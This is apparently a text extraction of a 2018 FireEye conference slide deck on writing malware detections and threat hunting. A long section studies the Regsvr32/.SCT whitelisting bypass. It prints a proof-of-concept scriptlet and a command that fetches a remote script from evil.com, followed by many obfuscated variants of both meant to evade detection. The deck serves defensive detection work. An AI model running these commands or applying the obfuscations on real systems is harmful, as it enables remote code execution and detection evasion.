  • 29. ©2018 FireEye | Private & Confidential Binaries 29 Assemble a Sample Set For public malware, generate representative samples – Use multiple versions, if updates are available – Generate variants for all of the significant options in a builder  Focus on options that impact the structure, behavior or network comms of the malware – Use common packers and obfuscators  UPX  ConfuserEx (.Net) https://funnyjunk.com/funny_pictures/3434944/Awesome+starwars/167
  • 30. ©2018 FireEye | Private & Confidential Binaries 30 Test Existing Detections  Test – Scan with static engines (AV / ML) – Run on isolated test system for real-time / dynamic – Replay PCAP through IDS – Run in sandbox  What alerts are generated?  What data is produced?  Stop here or continue? http://www.educationviews.org/wp-content/uploads/2017/03/petri-dish-used-for_f5f2b18d-d028- 4921-9ad0-938bb9d3720b.jpg
  • 31. ©2018 FireEye | Private & Confidential Binaries 31 Generate data Collect dynamic execution details – Sandbox reports – Online sandboxes, vendor sandboxes, Cuckoo – Malware reports and blogs – Manual dynamic analysis – Process memory / strings – PCAP capture Parse binaries using tools – PEExplorer, CFF Explorer, others – SigCheck – FLOSS / Strings – Vendor analysis engine
  • 32. ©2018 FireEye | Private & Confidential Binaries 32 Write Detection  Group samples based on data – Windows vs. OSX vs. *nix – EXE vs. DLL version – Different import hashes Look for outliers that may not belong Look for commonalities across remaining samples Divide further when commonalities break down https://www.computerhope.com/jargon/s/sort.htm
  • 33. ©2018 FireEye | Private & Confidential Binaries 33 Write Detection Look for common elements within each group and across groups Dynamic execution items – Persistence – Mutex – Named pipe – C2 – Handle to config file/reg – String decoded in memory – Injection into a known process Resources Export name Size range Export timestamp PE timestamp Import hash PE characteristics Strings Hex strings Authenticode signature Imports/exports Sections/non- section data Version info
  • 34. ©2018 FireEye | Private & Confidential Binaries 34 Write Detection Look for common elements within each group and across groups Dynamic execution items – Persistence – Mutex – Named pipe – C2 – Handle to config file/reg – String decoded in memory – Injection into a known process Resources Export name Size range Export timestamp PE timestamp Import hash PE characteristics Strings Hex strings Authenticode signature Imports/exports Sections/non- section data Version info  Literally anything else available tools support
  • 35. ©2018 FireEye | Private & Confidential Binaries 35 Write Detection Use common elements as starting point – If it detects all known versions, based on common elements, increases the chance of catching future versions Use behavior-based detections where possible Incorporate both structure of malware and attacker TTPs in deploying/using it Add in weaker detections (hashes, domains, etc.) Make signatures as broad as possible, and detect in as many ways as possible, with acceptable FP rate
  • 36. ©2018 FireEye | Private & Confidential Binaries 36 Test Run it! – Against sample set – Against clean systems – Against corpus of malware & binaries  VT retrohunt, WSUS, etc. – Test environment (if available) – Production test Review hits, update (for TPs & FPs) and iterate Keep the rule as broad as possible while maintaining FP rate https://img.memecdn.com/run-fail_o_2718843.webp
  • 38. ©2018 FireEye | Private & Confidential Regsvr32.exe + .SCT 39 Found by Casey Smith (@subTee) in 2016 App whitelisting bypass Regsrv32.exe to execute local or remote .SCT file scripting contents What's this SquiblyDoo you speak of? Detection opportunities: –Regsvr32.exe execution  Arguments  .DLL loads  Network connection –.SCT file contents  Network & Host
  • 39. ©2018 FireEye | Private & Confidential Regsvr32.exe + .SCT 40 The original POC <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <!-- Proof Of Concept - Casey Smith @subTee --> <!-- License: BSD3-Clause --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet> bla.sct Command regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
  • 40. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 41 #KnowYourOptions Command  regsvr32.exe  /s /n /u /i:http://  .sct  scrobj.dll regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
  • 41. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 42 #KnowYourOptions Command  regsvr32.exe  /s /n /u /i:http://  .sct  scrobj.dll regsvr32.exe /s /n /u /i:http:evil.com/bla.sct scrobj.dll
  • 42. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 43 #KnowYourOptions regsvr32.exe /s /n /u /i:https:evil.com/bla.sct scrobj.dll Command  regsvr32.exe  /s /n /u /i:http:  .sct  scrobj.dll
  • 43. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 44 #KnowYourOptions regsvr32.exe /s /n /u /i:https:evil.com/bla.sct scrobj.dll Command  regsvr32.exe  /s /n /u /i:http  .sct  scrobj.dll  /i:http:  /i:https  /i:ftp:  /i:remotec$  /i:C:Tempbla.sct  /i:bla.sct
  • 44. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 45 #KnowYourOptions regsvr32.exe /s /n /u /i:https:evil.com/bla.sct scrobj.dll Command  regsvr32.exe  /s /n /u /i:http  .sct  scrobj.dll
  • 45. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 46 #KnowYourOptions regsvr32.exe /u /n /s /i:https:evil.com/bla.sct scrobj.dll Command  regsvr32.exe  /s .  /n .  /u .  /i:http  .sct  scrobj.dll
  • 46. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 47 #KnowYourOptions regsvr32.exe /u /i:https:evil.com/bla.sct /n scrobj.dll /s Command  regsvr32.exe  /s .  /n .  /u .  /i:http  .sct  scrobj.dll
  • 47. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 48 #KnowYourOptions regsvr32.exe /u /i:https:evil.com/bla.sct /n scrobj.dll /s Command  regsvr32.exe  /s .  /n .  /u .  /i:http  .sct  scrobj.dll /n – Do not call DllRegisterServer or DllUnregisterServer; this option must be used with /i.
  • 48. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 49 #KnowYourOptions regsvr32.exe /u /i:https:evil.com/bla.sct scrobj.dll /s Command  regsvr32.exe  /s .  /n .  /u .  /i:http  .sct  scrobj.dll /n – Do not call DllRegisterServer or DllUnregisterServer; this option must be used with /i.  FALSE! Not required 
  • 49. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 50 #KnowYourOptions regsvr32.exe /u /i:https:evil.com/bla.sct scrobj.dll /s Command  regsvr32.exe  /s .  /u .  /i:http  .sct  scrobj.dll /n – Do not call DllRegisterServer or DllUnregisterServer; this option must be used with /i.  FALSE! Not required 
  • 50. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 51 #KnowYourOptions regsvr32.exe /u /i:https:evil.com/bla.sct scrobj.dll /s Command  regsvr32.exe  /s .  /u .  /i:http  .sct  scrobj.dll
  • 51. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 52 #KnowYourOptions regsvr32.exe -u -i:https:evil.com/bla.sct scrobj.dll -s Command  regsvr32.exe  /s or -s.  /u or -u .  /i:http or -i:http  .sct  scrobj.dll
  • 52. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 53 #KnowYourOptions regsvr32.exe -u -i:https:evil.com/bla.sct scrobj.dll -s Command  regsvr32.exe  /s or -s.  /u or -u .  /i:http or -i:http  .sct  scrobj.dll
  • 53. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 54 #KnowYourOptions regsvr32 -u -i:https:evil.com/bla scrobj -s Command  regsvr32.exe  /s or -s.  /u or -u .  /i:http or -i:http  .sct  scrobj.dll
  • 54. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 55 #KnowYourOptions regsvr32 -u -i:https:evil.com/bla scrobj -s Command  regsvr32  /s or -s.  /u or -u .  /i:http or -i:http  scrobj
  • 55. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 56 #KnowYourOptions regsvr32 -u -i:https:evil.com/bla scrobj -s Command  regsvr32  /s or -s.  /u or -u .  /i:http or -i:http  scrobj
  • 56. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 57 #KnowYourOptions regsvr32 -u -i:https:evil.com/bla scrobj -s Command  regsvr32  /s or -s.  /u or -u .  /i:http or -i:http  scrobj C:> copy regsvr32.exe casey.exe C:> copy scrobj.dll smith.dll Renaming
  • 57. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 58 #KnowYourOptions casey -u -i:https:evil.com/bla smith -s Command  regsvr32  /s or -s.  /u or -u .  /i:http or -i:http  scrobj C:> copy regsvr32.exe casey.exe C:> copy scrobj.dll smith.dll Renaming
  • 58. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 59 #KnowYourOptions casey -u -i:https:evil.com/bla smith -s Command  /s or -s.  /u or -u .  /i:http or -i:http
  • 59. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 60 #KnowYourOptions casey -u -i:https:evil.com/bla smith -s Command  /s or -s .  /u or -u .  /i:http or -i:http
  • 60. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 61 #KnowYourOptions casey -ugh... -i:https:evil.com/bla smith -s Command  /s or -s .  /u or -u .  /i:http or -i:http
  • 61. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 62 #KnowYourOptions casey -ugh... -i:https:evil.com/bla smith -stop-it! Command  /s or -s .  /u or -u .  /i:http or -i:http
  • 62. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 63 #KnowYourOptions casey -ugh... -i:https:evil.com/bla smith -stop-it! Command  /s or -s  /u or -u  /i:http or -i:http
  • 63. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 64 #KnowYourOptions casey "-"ugh... -i:https:evil.com/bla smith -""stop-it! Command  /s or -s  /u or -u  /i:http or -i:http
  • 64. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 65 #KnowYourOptions casey "-"ugh... -"i":ht""tps:evil.com/bla smith -""stop-it! Command  /s or -s  /u or -u  /i:http or -i:http https://imgur.com/gallery/Vs7D1QO
  • 65. ©2018 FireEye | Private & Confidential Detecting Regsvr32.exe Arguments 66 Different approaches pay off… Command http://knowyourmeme.com/memes/happy-cat I CAN HAS MAGIC REGEX? Arguments w/o obfuscation Handle obfuscation separately Handle renamed .exe/.dll separately Regsvr32.exe network connections Regsvr32.exe image load events –Jscript.dll, jscript9.dll, vbscript.dll Regsvr32.exe args over the network
  • 67. ©2018 FireEye | Private & Confidential Detecting .SCT Content 68 YARA fans & network analysts awaken… <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <!-- Proof Of Concept - Casey Smith @subTee --> <!-- License: BSD3-Clause --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet> bla.sct Command regsvr32.exe /s /n /u /i:http://evil.com/bla.sct scrobj.dll
  • 68. ©2018 FireEye | Private & Confidential Detecting .SCT Content 69 YARA fans & network analysts awaken… <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <!-- Proof Of Concept - Casey Smith @subTee --> <!-- License: BSD3-Clause --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker
  • 69. ©2018 FireEye | Private & Confidential Detecting .SCT Content 70 YARA fans & network analysts awaken… <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <!-- Proof Of Concept - Casey Smith @subTee --> <!-- License: BSD3-Clause --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker
  • 70. ©2018 FireEye | Private & Confidential Detecting .SCT Content 71 YARA fans & network analysts awaken… <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <!-- Proof Of Concept - Casey Smith @subTee --> <!-- License: BSD3-Clause --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required?
  • 71. ©2018 FireEye | Private & Confidential Detecting .SCT Content 72 YARA fans & network analysts awaken… <?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <!-- Proof Of Concept - Casey Smith @subTee --> <!-- License: BSD3-Clause --> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); ]]> </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required?
  • 72. ©2018 FireEye | Private & Confidential Detecting .SCT Content 73 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <script language="JScript"> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required?
  • 73. ©2018 FireEye | Private & Confidential Detecting .SCT Content 74 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <script language="JScript"> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change?
  • 74. ©2018 FireEye | Private & Confidential Detecting .SCT Content 75 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid="{F0001111-0000-0000-0000-0000FEEDACDC}"> <script language="JScript"> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change?
  • 75. ©2018 FireEye | Private & Confidential Detecting .SCT Content 76 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{F0001111-0000-0000-0000-0000FEEDACDC}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change?
  • 76. ©2018 FireEye | Private & Confidential Detecting .SCT Content 77 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{F0001111-0000-0000-0000-0000FEEDACDC}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
  • 77. ©2018 FireEye | Private & Confidential Detecting .SCT Content 78 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{FDB01111-0000-0000-0000-0000FEEDACDC}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
  • 78. ©2018 FireEye | Private & Confidential Detecting .SCT Content 79 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{FDB0FDB0-0000-0000-0000-0000FEEDACDC}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
  • 79. ©2018 FireEye | Private & Confidential Detecting .SCT Content 80 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-0000FEEDACDC}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
  • 80. ©2018 FireEye | Private & Confidential Detecting .SCT Content 81 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? https://commons.wikimedia.org/wiki/File:Acdc_logo_band.svg
  • 81. ©2018 FireEye | Private & Confidential Detecting .SCT Content 82 YARA fans & network analysts awaken… <?XML?> <scriptlet> <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </scriptlet> bla.sct What's common? (there by default) #lazyhacker What's required? What can change?
  • 82. ©2018 FireEye | Private & Confidential Detecting .SCT Content 83 YARA fans & network analysts awaken… <?XML?> <component> <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </component> bla.sct What's common? (there by default) #lazyhacker What's required? What can change?
  • 83. ©2018 FireEye | Private & Confidential Detecting .SCT Content 84 YARA fans & network analysts awaken… <?XML?> <component> <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'> <script language='JScript'> var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </component> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? JScript VBScript JScript.Encode VBScript.Encode #@~^NAAAAA==O•/O,',ZD•lDnr(LnmD`E UmDb2Yc?t•ssJ*R"EU`E^mV^ R•a+r#ahEAAA==^#~@
  • 84. ©2018 FireEye | Private & Confidential Detecting .SCT Content 85 YARA fans & network analysts awaken… <?XML?> <component> <registration classid='{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}'> <script > var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script> </registration> </component> bla.sct What's common? (there by default) #lazyhacker What's required? What can change? JScript VBScript JScript.Encode VBScript.Encode #@~^NAAAAA==O•/O,',ZD•lDnr(LnmD`E UmDb2Yc?t•ssJ*R"EU`E^mV^ R•a+r#ahEAAA==^#~@
  • 85. ©2018 FireEye | Private & Confidential Detecting .SCT Content 86 YARA fans & network analysts awaken… <?XML ?> <component > <registration classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' > <script > var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script > </registration > </component > bla.sct What's common? (there by default) #lazyhacker What's required? What can change? What can be added?
  • 86. ©2018 FireEye | Private & Confidential Detecting .SCT Content 87 YARA fans & network analysts awaken… <?XML ?> <component > <registration classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' > <script > var r = new ActiveXObject("WScript.Shell").Run("calc.exe"); </script > </registration > </component > bla.sct What's common? (there by default) #lazyhacker What's required? What can change? What can be added? var r = new ActiveXObject ( "WScript.Shell" ) . Run ( "calc.exe" ) ;
  • 87. ©2018 FireEye | Private & Confidential Detecting .SCT Content 88 YARA fans & network analysts awaken… <?XML ?><component ><registration classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' ><script >var r = new ActiveXObject ( "WScript.Shell" ) . Run ( "calc.exe" ) ; </script ></registration ></component > bla.sct What's common? (there by default) #lazyhacker What's required? What can change? What can be added?
  • 88. ©2018 FireEye | Private & Confidential Detecting .SCT Content 89 Different approaches pay off… <?XML ?><component ><registration classid = '{FDB0FDB0-FDB0-FDB0-FDB0-EFFFFFFFFDB0}' ><script >var r = new ActiveXObject ( "WScript.Shell" ) . Run ( "calc.exe" ) ; </script ></registration ></component > bla.sct Network detections: –Download over HTTP –Transfer over SMB Host detections: –Downloaded .SCT file (extension doesn’t matter) in  Temporary Internet Files  INetCache
  • 89. ©2018 FireEye | Private & Confidential Detecting .SCT Content 90 Different approaches pay off… Command http://knowyourmeme.com/memes/happy-cat I CAN HAS MAGIC REGEX? Script w/o obfuscation Handle obfuscation separately Focus on default strings (lazy attacker) Focus on anchors (“<registration”) with ABSENCE of default strings Detections against scripting content payload regardless of .SCT wrapper –DotNetToJScript
  • 91. ©2018 FireEye | Private & Confidential Proactive Detection 92 Hunting Form a hypothesis of a way to find evil and test – Gather data and conduct analysis Find evil vs. define detection for evil Synergy! –Hunt to validate detection –Develop detection based on hunt result https://www.usatoday.com/story/news/2018/08/28/grizzly- hunt-pits-tourists-against-sportsmen-wyoming/1065854002/
  • 92. ©2018 FireEye | Private & Confidential Proactive Detection 93 Hunting One output of a hunt should be new detections – Blacklist evil or whitelist good Detections that do not meet the target FP tolerance should become hunts If you’re hunting for the same things over and over, consider automating that process into a detection https://press-start.com.au/news/pcmac/2017/03/09/duck-hunt-inspired-game-coming-vr/ I may have had the Duck Hunt high score the last time I was at BruCon
  • 93. ©2018 FireEye | Private & Confidential Proactive Detection 94 Detect across the attack lifecycle Initial Compromise Establish Foothold Escalate Privileges Internal Recon Complete Mission Move Laterally Maintain Presence • Backdoor variants • VPN subversion • Sleeper malware • Net use commands • Reverse shell access • Social engineering • External compromise • Custom malware • C2 • App exploitation • Credential theft • Password cracking • “Pass-the-hash” • Critical system recon • System, Active Directory, and user enumeration • Staging servers • Data consolidation • Data theft
  • 94. ©2018 FireEye | Private & Confidential Proactive Detection 95 Where else do our detection ideas come from? Active and historic attacker activity in hundreds of Incident Response engagements and managed service customers Analyzing malware samples from engagements and malware repositories (internal/external) Intel (the good kind) Open source research - Twitter, Github, vendor blog posts, etc. (Github history is an invaluable resource) Crazy whims – IWHO (“I Wonder How Often…”)
  • 96. ©2018 FireEye | Private & Confidential Takeaways 97 I’ll take mine to go Know what you are detecting today and HOW you are detecting it – What data sources? – What toolsets? – What timeframes (lag time to actionable alert/data)? Know your assumptions about attacker techniques and your own visibility Capture result of hunts as new detections
  • 97. ©2018 FireEye | Private & Confidential Takeaways 98 Second helping Know your tools – Validate data sources with more than one tool – Understand limitations of toolsets and/or artifacts and compensate elsewhere (build your own, open source tooling, etc.) Automate repetitive tasks to free you up to more effectively develop methodology-based detections – Initial idea and detection development – Tuning/scrapping/rebuilding of detection – Monitoring and tuning going forward for detection